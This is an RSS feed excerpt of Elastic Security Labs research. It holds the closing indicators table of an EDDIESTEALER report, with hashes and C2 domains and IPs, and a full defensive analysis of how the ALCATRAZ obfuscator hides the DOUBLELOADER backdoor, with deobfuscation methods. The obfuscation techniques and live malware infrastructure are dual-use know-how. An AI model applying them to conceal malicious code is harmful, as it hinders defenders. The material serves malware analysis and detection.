<li><a href="https://attack.mitre.org/techniques/T1497/">Virtualization/Sandbox Evasion</a></li>
</ul>
<h2>Detections</h2>
<h3>YARA</h3>
<p>Elastic Security has created the following YARA rules related to this research:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_EddieStealer.yar">Windows.Infostealer.EddieStealer</a></li>
</ul>
<h3>Behavioral prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/command_and_control_ingress_tool_transfer_via_powershell.toml">Ingress Tool Transfer via PowerShell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/discovery_potential_browser_information_discovery.toml">Potential Browser Information Discovery</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/defense_evasion_potential_self_deletion_of_a_running_executable.toml">Potential Self Deletion of a Running Executable</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>47409e09afa05fcc9c9eff2c08baca3084d923c8d82159005dbae2029e1959d0</code></td>
<td>SHA-256</td>
<td><code>MvUlUwagHeZd.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>162a8521f6156070b9a97b488ee902ac0c395714aba970a688d54305cb3e163f</code></td>
<td>SHA-256</td>
<td><code>:metadata (copy)</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>f8b4e2ca107c4a91e180a17a845e1d7daac388bd1bb4708c222cda0eff793e7a</code></td>
<td>SHA-256</td>
<td><code>AegZs85U6COc.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>53f803179304e4fa957146507c9f936b38da21c2a3af4f9ea002a7f35f5bc23d</code></td>
<td>SHA-256</td>
<td><code>:metadata (copy)</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>20eeae4222ff11e306fded294bebea7d3e5c5c2d8c5724792abf56997f30aaf9</code></td>
<td>SHA-256</td>
<td><code>PETt3Wz4DXEL.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>1bdc2455f32d740502e001fce51dbf2494c00f4dcadd772ea551ed231c35b9a2</code></td>
<td>SHA-256</td>
<td><code>Tk7n1al5m9Qc.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>d905ceb30816788de5ad6fa4fe108a202182dd579075c6c95b0fb26ed5520daa</code></td>
<td>SHA-256</td>
<td><code>YykbZ173Ysnd.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>b8b379ba5aff7e4ef2838517930bf20d83a1cfec5f7b284f9ee783518cb989a7</code></td>
<td>SHA-256</td>
<td><code>2025-04-03_20745dc4d048f67e0b62aca33be80283_akira_cobalt-strike_satacom</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>f6536045ab63849c57859bbff9e6615180055c268b89c613dfed2db1f1a370f2</code></td>
<td>SHA-256</td>
<td><code>2025-03-23_6cc654225172ef70a189788746cbb445_akira_cobalt-strike</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>d318a70d7f4158e3fe5f38f23a241787359c55d352cb4b26a4bd007fd44d5b80</code></td>
<td>SHA-256</td>
<td><code>2025-03-22_c8c3e658881593d798da07a1b80f250c_akira_cobalt-strike</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>73b9259fecc2a4d0eeb0afef4f542642c26af46aa8f0ce2552241ee5507ec37f</code></td>
<td>SHA-256</td>
<td><code>2025-03-22_4776ff459c881a5b876da396f7324c64_akira_cobalt-strike</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>2bef71355b37c4d9cd976e0c6450bfed5f62d8ab2cf096a4f3b77f6c0cb77a3b</code></td>
<td>SHA-256</td>
<td><code>TWO[1].file</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>218ec38e8d749ae7a6d53e0d4d58e3acf459687c7a34f5697908aec6a2d7274d</code></td>
<td>SHA-256</td>
<td></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>5330cf6a8f4f297b9726f37f47cffac38070560cbac37a8e561e00c19e995f42</code></td>
<td>SHA-256</td>
<td><code>verifcheck.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>acae8a4d92d24b7e7cb20c0c13fd07c8ab6ed8c5f9969504a905287df1af179b</code></td>
<td>SHA-256</td>
<td><code>3zeG4jGjFkOy.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>0f5717b98e2b44964c4a5dfec4126fc35f5504f7f8dec386c0e0b0229e3482e7</code></td>
<td>SHA-256</td>
<td><code>verification.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>e8942805238f1ead8304cfdcf3d6076fa0cdf57533a5fae36380074a90d642e4</code></td>
<td>SHA-256</td>
<td><code>g_verify.js</code></td>
<td>EDDIESTEALER loader</td>
</tr>
<tr>
<td><code>7930d6469461af84d3c47c8e40b3d6d33f169283df42d2f58206f43d42d4c9f4</code></td>
<td>SHA-256</td>
<td><code>verif.js</code></td>
<td>EDDIESTEALER loader</td>
</tr>
<tr>
<td><code>45.144.53[.]145</code></td>
<td>ipv4-addr</td>
<td></td>
<td>EDDIESTEALER C2</td>
</tr>
<tr>
<td><code>84.200.154[.]47</code></td>
<td>ipv4-addr</td>
<td></td>
<td>EDDIESTEALER C2</td>
</tr>
<tr>
<td><code>shiglimugli[.]xyz</code></td>
<td>domain-name</td>
<td></td>
<td>EDDIESTEALER C2</td>
</tr>
<tr>
<td><code>xxxivi[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>EDDIESTEALER C2 and intermediate infrastructure</td>
</tr>
<tr>
<td><code>llll[.]fit</code></td>
<td>domain-name</td>
<td></td>
<td>EDDIESTEALER intermediate infrastructure</td>
</tr>
<tr>
<td><code>plasetplastik[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>EDDIESTEALER intermediate infrastructure</td>
</tr>
<tr>
<td><code>militrex[.]wiki</code></td>
<td>domain-name</td>
<td></td>
<td>EDDIESTEALER intermediate infrastructure</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://github.com/N0fix/rustbinsign">https://github.com/N0fix/rustbinsign</a></li>
<li><a href="https://github.com/Meckazin/ChromeKatz">https://github.com/Meckazin/ChromeKatz</a></li>
<li><a href="https://github.com/hasherezade/tiny_tracer">https://github.com/hasherezade/tiny_tracer</a></li>
<li><a href="https://docs.binary.ninja/dev/uidf.html">https://docs.binary.ninja/dev/uidf.html</a></li>
<li><a href="https://www.unicorn-engine.org/">https://www.unicorn-engine.org/</a></li>
<li><a href="https://github.com/LloydLabs/delete-self-poc/tree/main">https://github.com/LloydLabs/delete-self-poc/tree/main</a></li>
<li><a href="https://cheats.rs/#memory-layout">https://cheats.rs/#memory-layout</a></li>
<li><a href="https://www.youtube.com/watch?v=SGLX7g2a-gw&amp;t=749s">https://www.youtube.com/watch?v=SGLX7g2a-gw&amp;t=749s</a></li>
<li><a href="https://cxiao.net/posts/2023-12-08-rust-reversing-panic-metadata/">https://cxiao.net/posts/2023-12-08-rust-reversing-panic-metadata/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/eddiestealer/eddiestealer.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[De-obfuscating ALCATRAZ]]></title>
            <link>https://www.elastic.co/fr/security-labs/deobfuscating-alcatraz</link>
            <guid>deobfuscating-alcatraz</guid>
            <pubDate>Fri, 23 May 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[An exploration of techniques used by the obfuscator ALCATRAZ.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs analyzes diverse malware that comes through our threat hunting pipelines and telemetry queues. We recently ran into a new malware family called DOUBLELOADER, seen alongside the RHADAMANTHYS infostealer.  One interesting attribute of DOUBLELOADER is that it is protected with an open-source obfuscator, <a href="https://github.com/weak1337/Alcatraz">ALCATRAZ</a> first released in 2023. While this project had its roots in the game hacking community, it’s also been observed in the e-crime space, and has been used in targeted <a href="https://news.sophos.com/en-us/2024/09/10/crimson-palace-new-tools-tactics-targets/">intrusions</a>.</p>
<p>The objective of this post is to walk through various obfuscation techniques employed by ALCATRAZ, while highlighting methods to combat these techniques as malware analysts. These techniques include <a href="https://tigress.wtf/flatten.html">control flow flattening</a>, <a href="https://github.com/mike1k/perses?tab=readme-ov-file#introduction">instruction mutation</a>, constant unfolding, LEA constant hiding, anti-disassembly <a href="https://1malware1.medium.com/anti-disassembly-techniques-e012338f2ae0">tricks</a> and entrypoint obfuscation.</p>
<h3>Key takeaways</h3>
<ul>
<li>The open-source obfuscator ALCATRAZ has been seen within new malware deployed alongside RHADAMANTHYS infections</li>
<li>Obfuscation techniques such as control flow flattening continue to serve as road blocks for analysts</li>
<li>By understanding obfuscation techniques and how to counter them, organizations can improve their ability to effectively triage and analyze protected binaries.</li>
<li>Elastic Security Labs releases tooling to deobfuscate ALCATRAZ protected binaries are released with this post</li>
</ul>
<h2>DOUBLELOADER</h2>
<p>Starting last December, our team observed a generic backdoor malware coupled with <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys">RHADAMANTHYS</a> stealer infections. Based on the PDB path, this malware is self-described as DOUBLELOADER.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image6.png" alt="PDB path in DOUBLELOADER" title="PDB path in DOUBLELOADER" /></p>
<p>This malware leverages syscalls such as <code>NtOpenProcess</code>, <code>NtWriteVirtualMemory</code>, <code>NtCreateThreadEx</code> launching unbacked code within the Windows desktop/file manager (<code>explorer.exe</code>). The malware collects host information, requests an updated version of itself and starts beaconing to a hardcoded IP (<code>185.147.125.81</code>) stored within the binary.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image31.png" alt="Outbound C2 traffic from DOUBLELOADER" title="Outbound C2 traffic from DOUBLELOADER" /></p>
<p>DOUBLELOADER samples include a non-standard section (<code>.0Dev</code>) with executable permissions, this is a toolmark left based on the author's handle for the binary obfuscation tool, <a href="https://github.com/weak1337/Alcatraz"><code>ALCATRAZ</code></a>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image32.png" alt="Section creation using ALCATRAZ" title="Section creation using ALCATRAZ" /></p>
<p>Obfuscators such as ALCATRAZ end up increasing the complexity when triaging malware. Its main goal is to hinder binary analysis tools and increase the time of the reverse engineering process through different techniques; such as hiding the control flow or making decompilation hard to follow. Below is an example of obfuscated control flow of one function inside DOUBLELOADER.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image5.png" alt="Obfuscated control flow in DOUBLELOADER" title="Obfuscated control flow in DOUBLELOADER" /></p>
<p>The remainder of the post will focus on the various obfuscation techniques used by ALCATRAZ. We will use the first-stage of DOUBLELOADER along with basic code examples to highlight ALCATRAZ's features.</p>
<h2>ALCATRAZ</h2>
<h3>ALCATRAZ Overview</h3>
<p>Alcatraz is an open-source obfuscator initially released in January 2023. While the project is recognized within the game hacking community as a foundational tool for learning obfuscation techniques, it’s also been observed being abused by e-crime and <a href="https://news.sophos.com/en-us/2024/09/10/crimson-palace-new-tools-tactics-targets/">APT groups</a>.</p>
<p>Alcatraz’s code base contains 5 main features centered around standard code obfuscation techniques along with enhancement to obfuscate the entrypoint. Its workflow follows a standard <code>bin2bin</code> format, this means the user provides a compiled binary then after the transformations, they will receive a new compiled binary. This approach is particularly appealing to game hackers/malware developers due to its ease of use, requiring minimal effort and no modifications at the source code level.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image29.png" alt="ALCATRAZ - menu" title="ALCATRAZ - menu" /></p>
<p>The developer can choose to obfuscate all or specific functions as well as choose which obfuscation techniques to apply to each function. After compilation, the file is generated with the string (<code>obf</code>) appended to the end of the filename.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image14.png" alt="Example of binary before and after obfuscation" title="Example of binary before and after obfuscation" /></p>
<h2>Obfuscation techniques in ALCATRAZ</h2>
<p>The following sections will go through the various obfuscation techniques implemented by ALCATRAZ.</p>
<h3>Entrypoint obfuscation</h3>
<p>Dealing with an obfuscated entrypoint is like getting a flat tire at the start of a family roadtrip. The idea is centered on confusing analysts and binary tooling where it’s not directly clear where the program starts, causing confusion at the very beginning of the analysis process.</p>
<p>The following is the view of a clean entrypoint (<code>0x140001368</code>) from a non-obfuscated program within IDA Pro.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image10.png" alt="Non-obfuscated entrypoint" title="Non-obfuscated entrypoint" /></p>
<p>By enabling entrypoint obfuscation, ALCATRAZ moves the entrypoint then includes additional code with an algorithm to calculate the new entrypoint of the program. Below is a snippet of the decompiled view of the obfuscated entry-point.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image30.png" alt="Decompilation of obfuscated entrypoint" title="Decompilation of obfuscated entrypoint" /></p>
<p>As ALCATRAZ is an open-source obfuscator, we can find the custom entrypoint <a href="https://github.com/weak1337/Alcatraz/blob/739e65ebadaeb3f8206fb2199700725331465abb/Alcatraz/obfuscator/misc/custom_entry.cpp#L20">code</a> to see how the calculation is performed or reverse our own obfuscated example. In our decompilation, we can see the algorithm uses a few fields from the PE header such as the <code>Size of the Stack Commit</code>, <code>Time Date Stamp</code> along with the first four bytes from the <code>.0dev</code> section. These fields are parsed then used with bitwise operations such as rotate right (ROR) and exclusive-or (XOR) to calculate the entrypoint.</p>
<p>Below is an example output of IDA Python script (Appendix A) that parses the PE and finds the true entrypoint, confirming the original starting point (<code>0x140001368</code>) with the non-obfuscated sample.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image18.png" alt="Real entrypoint after obfuscation" title="Real entrypoint after obfuscation" /></p>
<h3>Anti-disassembly</h3>
<p>Malware developers and obfuscators use anti-disassembly tricks to confuse or break disassemblers in order to make static analysis harder. These techniques abuse weaknesses during linear sweeps and recursive disassembly, preventing clean code reconstruction where the analyst is then forced to manually or automatically fix the underlying instructions.</p>
<p>ALCATRAZ implements one form of this technique by modifying any instructions starting with the <code>0xFF</code> byte by adding a short jump instruction ( <code>0xEB</code>) in front. The <code>0xFF</code> byte can represent the start of multiple valid instructions dealing with calls, indirect jumps, pushes on the stack. By adding the short jump  <code>0xEB</code> in front, this effectively jumps to the next byte <code>0xFF</code>. While it’s not complex, the damage is done breaking disassembly and requiring some kind of intervention.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image26.png" alt="Anti-disassembly technique in ALCATRAZ" title="Anti-disassembly technique in ALCATRAZ" /></p>
<p>In order to fix this specific technique, the file can be patched by replacing each occurrence of the <code>0xEB</code> byte with NOPs. After patching, the code is restored to a cleaner state, allowing the following <code>call</code> instruction to be correctly disassembled.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image1.png" alt="Anti-disassembly recovery" title="Anti-disassembly recovery" /></p>
<h3>Instruction Mutation</h3>
<p>One common technique used by obfuscators is instruction mutation, where instructions are transformed in a way that preserves their original behavior, but makes the code harder to understand. Frameworks such as <a href="https://tigress.wtf/index.html">Tigress</a> or <a href="https://github.com/mike1k/perses">Perses</a> are great examples of obfuscation research around instruction mutation.</p>
<p>Below is an example of this technique implemented by ALCATRAZ, where any addition between two registers is altered, but its semantic equivalence is kept intact. The simple <code>add</code> instruction gets transformed to 5 different instructions (<code>push</code>, <code>not</code>, <code>sub</code>, <code>pop</code>, <code>sub</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image9.png" alt="Example of instruction mutation via ALCATRAZ" title="Example of instruction mutation via ALCATRAZ" /></p>
<p>In order to correct this, we can use pattern matching to find these 5 instructions together, disassemble the bytes to find which registers are involved, then use an assembler such as Keystone to generate the correct corresponding bytes.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image12.png" alt="Recovering instructions from mutation technique" title="Recovering instructions from mutation technique" /></p>
<h3>Constant Unfolding</h3>
<p>This obfuscation technique is prevalent throughout the DOUBLELOADER sample and is a widely used method in various forms of malware. The concept here is focused on inversing the compilation process; where instead of optimizing calculations that are known at compile time, the obfuscator “unfolds” these constants making the disassembly and decompilation complex and confusing. Below is a simple example of this technique where the known constant (<code>46</code>) is broken up into two mathematical operations.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image3.png" alt="Unfolding process example" title="Unfolding process example" /></p>
<p>In DOUBLELOADER, we run into this technique being used anytime when immediate values are moved into a register. These immediate values are replaced with multiple bitwise operations masking these constant values, thus disrupting any context and the analyst’s flow. For example, in the disassembly below on the left-hand side, there is a comparison instruction of EAX value at address (<code>0x18016CD93</code>). By reviewing the previous instructions, it’s not obvious or clear what the EAX value should be due to multiple obscure bitwise calculations. If we debug the program, we can see the EAX value is set to <code>0</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image13.png" alt="Viewing unfolding technique in debugger" title="Viewing unfolding technique in debugger" /></p>
<p>In order to clean this obfuscation technique, we can confirm its behavior with our own example where we can use the following source code and see how the transformation is applied.</p>
<pre><code class="language-c++">#include &lt;iostream&gt;

int add(int a, int b)
{
	return a + b;
}

int main()
{
	int c;
	c = add(1, 2);
	printf(&quot;Meow %d&quot;,c);
	return 0;
}
</code></pre>
<p>After compiling, we can view the disassembly of the <code>main</code> function in the clean version on the left and see these two constants (<code>2,1</code>) moved into the EDX and ECX register. On the right side, is the transformed version, the two constants are hidden among the newly added instructions.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image16.png" alt="Mutation transformation: before vs after" title="Mutation transformation: before vs after" /></p>
<p>By using pattern matching techniques, we can look for these sequences of instructions, emulate the instructions to perform the various calculations to get the original values back, and then patch the remaining bytes with NOP’s to make sure the program will still run.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image20.png" alt="Using emulation to repair immediate moves" title="Using emulation to repair immediate moves" /></p>
<h3>LEA Obfuscation</h3>
<p>Similar to the previously discussed technique, LEA (Load Effective Address) obfuscation is focused on obscuring the immediate values associated with LEA instructions. An arithmetic calculation with subtraction will follow directly behind the LEA instruction to compute the original intended value. While this may seem like a minor change, it can have a significant impact breaking cross-references to strings and data — which are essential for effective binary analysis.</p>
<p>Below is an example of this technique within DOUBLELOADER where the RAX register value is disguised through a pattern of loading an initial value (<code>0x1F4DFCF4F</code>), then subtracting (<code>0x74D983C7</code>) to give us a new computed value (<code>0x180064B88</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image23.png" alt="LEA obfuscation pattern in ALCATRAZ" title="LEA obfuscation pattern in ALCATRAZ" /></p>
<p>If we go to that address inside our sample, we are taken to the read-only data section, where we can find the referenced string <code>bad array new length</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image27.png" alt="Referenced string after LEA obfuscation" title="Referenced string after LEA obfuscation" /></p>
<p>In order to correct this technique, we can use pattern matching to find these specific instructions, perform the calculation, then re-construct a new LEA instruction. Within 64-bit mode, LEA uses RIP-relative addressing so the address is calculated based on the current instruction pointer (RIP). Ultimately, we end up with a new instruction that looks like this: <code>lea rax, [rip - 0xFF827]</code>.</p>
<p>Below are the steps to produce this final instruction:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image17.png" alt="Displacement calculation for LEA instruction" title="Displacement calculation for LEA instruction" /></p>
<p>With this information, we can use IDA Python to patch all these patterns out, below is an example of a fixed LEA instruction.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image28.png" alt="Patching LEA instructions in DOUBLELOADER" title="Patching LEA instructions in DOUBLELOADER" /></p>
<h3>Control Flow Obfuscation</h3>
<p><strong>Control flow flattening</strong> is a powerful obfuscation technique that disrupts the traditional structure of a program’s control flow by eliminating conventional constructs like conditional branches and loops. Instead, it restructures execution using a centralized dispatcher, which determines the next basic block to execute based on a state variable, making analysis and decompilation significantly more difficult. Below is a simple diagram that represents the differences between an unflattened and flattened control flow.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image21.png" alt="Standard control flow vs flattened control flow" title="Standard control flow vs flattened control flow" /></p>
<p>Our team has observed this technique in various malware such as <a href="https://www.elastic.co/fr/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">DOORME</a> and it should come as no surprise in this case, that flattened control flow is one of the main <a href="https://github.com/weak1337/Alcatraz/tree/master?tab=readme-ov-file#control-flow-flattening">features</a> within the ALCATRAZ obfuscator. In order to approach un-flattening, we focused on established tooling by using IDA plugin <a href="https://eshard.com/posts/d810-deobfuscation-ida-pro">D810</a> written by security researcher Boris Batteux.</p>
<p>We will start with our previous example program using the common <code>_security_init_cookie</code> function used to detect buffer overflows. Below is the control flow diagram of the cookie initialization function in non-obfuscated form. Based on the graph, we can see there are six basic blocks, two conditional branches, and we can easily follow the execution flow.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image11.png" alt="Control flow of non-obfuscated security_init_cookie function" title="Control flow of non-obfuscated security_init_cookie function" /></p>
<p>If we take the same function and apply ALCATRAZ's control flow flattening feature, the program’s control flow looks vastly different with 22 basic blocks, 8 conditional branches, and a new dispatcher. In the figure below, the color-filled blocks represent the previous basic blocks from the non-obfuscated version, the remaining blocks in white represent added obfuscator code used for dispatching and controlling the execution.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image19.png" alt="Obfuscated control flow of security_init_cookie function" title="Obfuscated control flow of security_init_cookie function" /></p>
<p>If we take a look at the decompilation, we can see the function is now broken into different parts within a <code>while</code> loop where a new <code>state</code> variable is used to guide the program along with remnants from the obfuscation including <code>popf/pushf</code> instructions.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image15.png" alt="Obfuscated decompilation of security_init_cookie function" title="Obfuscated decompilation of security_init_cookie function" /></p>
<p>For cleaning this function, D810 applies two different rules (<code>UnflattenerFakeJump</code>, <code>FixPredecessorOfConditionalJumpBlock</code>) that apply microcode transformations to improve decompilation.</p>
<pre><code>2025-04-03 15:44:50,182 - D810 - INFO - Starting decompilation of function at 0x140025098
2025-04-03 15:44:50,334 - D810 - INFO - glbopt finished for function at 0x140025098
2025-04-03 15:44:50,334 - D810 - INFO - BlkRule 'UnflattenerFakeJump' has been used 1 times for a total of 3 patches
2025-04-03 15:44:50,334 - D810 - INFO - BlkRule 'FixPredecessorOfConditionalJumpBlock' has been used 1 times for a total of 2 patches
</code></pre>
<p>When we refresh the decompiler, the control-flow flattening is removed, and the pseudocode is cleaned up.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image2.png" alt="Control-flow obfuscation removed from decompilation by D810" title="Control-flow obfuscation removed from decompilation by D810" /></p>
<p>While this is a good example, fixing control-flow obfuscation can often be a manual and timely process that is function-dependent. In the next section, we will gather up some of the techniques we learned and apply it to DOUBLELOADER.</p>
<h2>Cleaning a DOUBLELOADER function</h2>
<p>One of the challenges when dealing with obfuscation in malware is not so much the individual obfuscation techniques, but when the techniques are layered. Additionally, in the case of DOUBLELOADER, large portions of code are placed in function chunks with ambiguous boundaries, making it challenging to analyze. In this section, we will go through a practical example showing the cleaning process for a DOUBLELOADER function protected by ALCATRAZ.</p>
<p>Upon launch at the <code>Start</code> export, one of the first calls goes to <code>loc_18016C6D9</code>. This appears to be an entry to a larger function, however IDA is not properly able to create a function due to undefined instructions at <code>0x18016C8C1</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image22.png" alt="Example of DoubleLoader causing error in IDA Pro" title="Example of DoubleLoader causing error in IDA Pro" /></p>
<p>If we scroll to this address, we can see the first disruption is due to the short jump anti-disassembly technique which we saw earlier in the blog post (<code>EB FF</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image24.png" alt="Anti-disassembly technique in DoubleLoader" title="Anti-disassembly technique in DoubleLoader" /></p>
<p>After fixing 6 nearby occurrences of this same technique, we can go back to the start address (<code>0x18016C6D9</code>) and use the MakeFunction feature. While the function will decompile, it is still heavily obfuscated which is not ideal for any analysis.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image7.gif" alt="DoubleLoader function with ALCATRAZ obfuscation" title="DoubleLoader function with ALCATRAZ obfuscation" /></p>
<p>Going back to the disassembly, we can see the LEA obfuscation technique used in this function below where the string constant <code>”Error”</code> is now recovered using the earlier solution.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image8.gif" alt="Restoring string constant from LEA obfuscation" title="Restoring string constant from LEA obfuscation" /></p>
<p>Another example below shows the transformation of an obfuscated parameter for a <code>LoadIcon</code> call where the <code>lpIconName</code> parameter gets cleaned to <code>0x7f00</code> (<code>IDI_APPLICATION</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image25.gif" alt="Restoring LoadIcon parameter from immediate mov obfuscation" title="Restoring LoadIcon parameter from immediate mov obfuscation" /></p>
<p>Now that the decompilation has improved, we can finalize the cleanup by removing control flow obfuscation with the D810 plugin. Below is a demonstration showing the before and after effects.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/image4.gif" alt="Decompilation cleanup of DoubleLoader function using D810" title="Decompilation cleanup of DoubleLoader function using D810" /></p>
<p>This section has covered a real-world scenario of working towards cleaning a malicious obfuscated function protected by ALCATRAZ. While malware analysis reports often show the final outcomes, a good portion of time is often spent up-front working towards removing obfuscation and fixing up the binary so it can then be properly analyzed.</p>
<h2>IDA Python Scripts</h2>
<p>Our team is releasing a series of proof-of-concept <a href="https://github.com/elastic/labs-releases/tree/main/tools/alcatraz">IDA Python scripts</a> used to handle the default obfuscation techniques imposed by the ALCATRAZ obfuscator. These are meant to serve as basic examples when dealing with these techniques, and should be used for research purposes. Unfortunately, there is no silver bullet when dealing with obfuscation, but having some examples and general strategies can be valuable for tackling similar challenges in the future.</p>
<h2>YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DoubleLoader.yar">Windows.Trojan.DoubleLoader</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>3050c464360ba7004d60f3ea7ebdf85d9a778d931fbf1041fa5867b930e1f7fd</code></td>
<td align="left">SHA256</td>
<td align="left"><code>DoubleLo.dll</code></td>
<td align="left">DOUBLELOADER</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://github.com/weak1337/Alcatraz">https://github.com/weak1337/Alcatraz</a></li>
<li><a href="https://gitlab.com/eshard/d810">https://gitlab.com/eshard/d810</a></li>
<li><a href="https://eshard.com/posts/d810-deobfuscation-ida-pro">https://eshard.com/posts/d810-deobfuscation-ida-pro</a></li>
<li><a href="http://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English/">http://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English/</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/deobfuscating-alcatraz/alcatraz.png" length="0" type="image/png"/>
        </item>
    </channel>
</rss>